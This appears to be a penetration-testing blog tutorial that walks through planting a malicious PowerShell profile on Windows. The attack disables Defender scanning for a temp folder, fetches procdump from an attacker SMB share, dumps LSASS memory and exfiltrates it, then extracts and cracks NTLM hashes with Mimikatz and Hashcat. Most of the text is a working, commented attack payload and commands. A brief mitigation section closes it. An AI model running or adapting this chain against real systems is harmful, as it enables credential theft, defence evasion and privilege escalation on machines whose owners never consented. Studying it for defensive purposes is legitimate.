top of page

Exfiltrate NTLM Hashes with PowerShell Profiles

In the below example, an unsuspecting user is starting PowerShell with Local Administrator privileges.

The session doesn’t appear unusual to the user. But after examining the PowerShell profile, we see hashed passwords sent to an attacker-controlled server. The attack is entirely transparent to the target user.

The ideal conditions for this attack are:

  • Local Administrator Capabilities: With Local Administrator accounts, PowerShell sessions started with low privileges and administrator privileges share a profile.ps1. An attacker with remote access can manipulate the profile.ps1 executed by Administrator PowerShell sessions.

  • Permissive PowerShell Execution Policies: The Execution Policy will ultimately determine if the attack is possible. The profile.ps1 will only execute in Administrator PowerShell sessions if script execution is allowed.

The network topology contains a Windows 10 and Kali Linux machine connected by a single router (shown below).

What are PowerShell Execution Policies?

As defined by the Microsoft documentation: PowerShell’s execution policy is a safety feature that controls the conditions under which PowerShell loads configuration files and runs scripts… The execution policy isn’t a security system that restricts user actions… Instead, the execution policy helps users to set basic rules and prevents them from violating them unintentionally.

In Windows 10, “Undefined” is the default policy in every Scope. However, it’s common for users to change the CurrentUser and LocalMachine policies to allow script executions. Permissive Policies such as RemoteSigned, Unrestricted, or Bypass make privilege escalation possible.

Use the Get-ExecutionPolicy -List command to view the current policies.

PS C:\Users\varonis> Get-ExecutionPolicy -List

        Scope ExecutionPolicy
        ----- ---------------
MachinePolicy       Undefined
   UserPolicy       Undefined
      Process       Undefined
  CurrentUser       Undefined
 LocalMachine       RemoteSigned

What are PowerShell Profiles?

PowerShell profiles are scripts that execute with every new PowerShell session. That includes PowerShell ISE and Visual Studio sessions. They’re a convenient way for users and developers to load custom functions and modules with every new PS terminal.

Use the $PROFILE variable to view the session’s profile path.

View the contents of the file with the Get-Content command.

PS C:\Users\varonis> Get-Content $PROFILE

f the directory doesn’t exist, an attacker can create it as a hidden folder to prevent detection.

PS C:\Users\varonis> cd $env:USERPROFILE;$d="Documents\WindowsPowerShell\";New-Item -ItemType Directory -Name "$d";$h=Get-Item "$d";$h.Attributes="Hidden"

If the PS1 file doesn’t exist, create it. As dumping passwords requires elevated privileges, this is an effective way to prevent the payload from executing in low privileged contexts.

PS C:\Users\varonis> echo 'if (whoami /groups | findstr /i "S-1-16-12288"){ echo "I AM ADMIN!" }' > $PROFILE

At a glance, this doesn’t appear like a huge issue. It’s important to understand that an attacker can change a file executed automatically by Administrator PowerShell sessions. Consider replacing echo with a command to disable Windows Defender or reset passwords.

Setup the Attack

Let’s weaponize what we know about PowerShell profiles to show how an attacker can extract hashed passwords. In Kali, start by creating the working directory to store several files.

tokyoneon@varonis:~$ mkdir /tmp/evilshare; cd /tmp/evilshare

Download the latest version of Procdump.

tokyoneon@varonis:/tmp/evilshare$ wget ''

Unzip the compressed file to find different versions of Procdump. The attack described in this article will use procdump.exe.

tokyoneon@varonis:/tmp/evilshare$ unzip

tokyoneon@varonis:/tmp/evilshare$ wget '' -O payload

The payload contains several simple commands. The Add-MpPreference cmdlet adds $env:TEMP to the Windows Defender exclusion list. It will prevent Windows Defender from detecting the procdump.exe or the LSASS memory dump. Acting as an alternative to Invoke-WebRequest, esentutl.exe will download procdump.exe from the attacker’s SMB share. Procdump executes and saves the LSASS dump to $env:TEMP. It’s zipped with Compress-Archive and exfiltrated to the SMB share via the cp command.

For clarity, I added comments to the payload.

# an if statement to prevent the attack from executing without administrator privileges
if (whoami /groups | findstr /i "S-1-16-12288")
  # start the attack as a background processs to prevent the PS terminal from stalling when opened
  Start-Job {
    # where to write data during the attack?
 $temp = "$env:TEMP"

    # create path exclusion in Windows Defender to prevent procdump detection
    Add-MpPreference -ExclusionPath $temp
    # sleep several seconds to allow the path exclusion to take effect
    Start-Sleep -s 4

    # the attacker's IP address
 $server = ""

    # the attacker's SMB share name, must match impacket-smbserver share name
 $share = "evilshare"

    # procdump filename as it appears on the attacker's SMB share
 $procdump = "procdump.exe"

    # procdump.exe is saved locally with a random string as the filename
 $filename = (-join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object { [char]$_ })) + '.exe'

    # the procdump output path when saved locally; shameless username plug
 $dump = "tokyoneon.dmp"

    # as the procdump output contains non-ascii characters, it must be compressed before exfiltrating
 $exfil = "$env:COMPUTERNAME-$"

    # rather than use invoke-webrequest, use an alternate LOLBAS for file retrieval
    esentutl.exe /y \\$server\$share\$procdump /d $temp\$filename /o

    # execute procdump and dump LSASS memory
    & $temp\$filename -accepteula -ma lsass.exe $temp\$dump

    # suppress progress bar that appears in the terminal when compressing the dump
 $ProgressPreference = "SilentlyContinue"

    # compress the dump
    Compress-Archive -Path $temp\$dump -DestinationPath $temp\$exfil -Force

    # exfiltrate the compressed dump to the attacker's SMB share via cp
    cp $temp\$exfil \\$server\$share\$exfil } | Out-Null

Start impacket-smbserver to serve the payload and wait for incoming LSASS dumps. The terminal must remain open for the duration of the attack.

tokyoneon@varonis:/tmp/evilshare$ sudo impacket-smbserver -smb2support evilshare "$PWD"

In Windows, add the payload to the target $PROFILE. It’s possible to do this via reverse shell or backdoor, but for simplicity, use a PS terminal. Change the $attacker variable in the following command to your Kali IP address.

PS C:\Users\varonis> cp \\$attacker\evilshare\payload $PROFILE

When the target starts a new Administrator PowerShell session, the impacket-smbserver will appear as shown below.

Two separate “AUTHENTICATE_MESSAGE” prompts appear in the impacket-smbserver output: The target OS fetching the procdump.exe and the compressed LSASS dump delivered to the server. After the second message, wait a few moments and press Ctrl + c twice to kill the Impacket server. There will be a new ZIP file in the current directory. Unzip it to find the DMP file.

Extract Password Hashes with Mimikatz

The hashed passwords in the DMP file are not readable in plaintext. Move the DMP file to a Windows 10 VM with Windows Defender disabled. Download the latest version of Mimikatz ( and save it to the Downloads folder in Windows.

Open a PowerShell terminal and decompress the ZIP with the following command.

PS > Expand-Archive -Path $env:USERPROFILE\Downloads\ -DestinationPath $env:USERPROFILE\mimikatz

Change into the x64 directory and execute the mimikatz.exe binary.

PS C:\Users\tokyoneon> cd $env:USERPROFILE\mimikatz\x64\; .\mimikatz.exe

Load the DMP info Mimikatz with the sekurlsa::minidump command.

mimikatz # sekurlsa::minidump C:\PATH\TO\YOUR\DUMP\tokyoneon.dmp

Use the sekurlsa::logonPasswords command to extract hashed credentials. Notice the NTLM hash on line 12.

mimikatz # sekurlsa::logonPasswords

Opening : 'Z:\lsass_dumps\tokyoneon.dmp' file for minidump...

  1  Authentication Id : 0 ; 188563 (00000000:0002e093)
  2  Session           : Interactive from 1
  3  User Name         : varonis
  4  Domain            : DESKTOP-JI80T34
  5  Logon Server      : DESKTOP-JI80T34
  6  Logon Time        : 11/15/2020 9:56:57 PM
  7  SID               : S-1-5-21-3489785614-2607058550-4100802712-1001
  8          msv :
  9           [00000003] Primary
 10           * Username : varonis
 11           * Domain   : DESKTOP-JI80T34
 12           * NTLM     : 2ba9afd0306922f6aed8c6a2406ddab5
 13           * SHA1     : 33b282eb0ba4e815a93f95d0c5321c5e8d76997f
 14          tspkg :
 15          wdigest :
 16           * Username : varonis
 17           * Domain   : DESKTOP-JI80T34
 18           * Password : (null)
 19          kerberos :
 20           * Username : varonis
 21           * Domain   : DESKTOP-JI80T34
 22           * Password : (null)
 23          ssp :
 24          credman :
 25          cloudap :
       ----- [truncated] -----
 59  Authentication Id : 0 ; 999 (00000000:000003e7)
 60  Session           : UndefinedLogonType from 0
 61  User Name         : DESKTOP-JI80T34$
 62  Domain            : WORKGROUP
 63  Logon Server      : (null)
 64  Logon Time        : 11/15/2020 9:56:50 PM
 65  SID               : S-1-5-18
 66          msv :
 67          tspkg :
 68          wdigest :
 69           * Username : DESKTOP-JI80T34$
 70           * Domain   : WORKGROUP
 71           * Password : (null)
 72          kerberos :
 73           * Username : desktop-ji80t34$
 74           * Domain   : WORKGROUP
 75           * Password : (null)
 76          ssp :
 77          credman :
 78          cloudap :

mimikatz #

Crack NTLM Hashes with Hashcat

Now onto another pentesting tool, Hashcat. Even in 2020, people use weak passwords to secure their data and accounts. With the latest version of Hashcat and a generic GTX 1060 GPU, it took one-second to crack a hash containing seven characters.

tokyoneon@hades:~$ hashcat /tmp/hash.txt -w 4 -O -m 1000 -a 3 ?l?l?l?l?l?l?l

Mitigation & Detection

As recommended by the MITRE ATT&CK Framework:

Monitor the profile locations for modifications. Additional mitigations include:

  • Code Signing: Enforce execution of only signed PowerShell scripts. Sign profiles to avoid them from being modified.

  • Restrict File and Directory Permissions: Making PowerShell profiles immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user-level persistence.

  • Software Configuration: Avoid PowerShell profiles if not needed. Use the -NoProfile flag when executing PowerShell scripts remotely to prevent local profiles from being executed.


This attack on NTLM hashes illustrates the dangers of an overly permissive policy coupled with local administrator accounts. While this detailed how an attacker can force the administrator to exfiltrate NTLM hashes, it’s trivial to modify the featured payload and elevate to NT AUTHORITY\SYSTEM with PsExec.

Source: varonis



bottom of page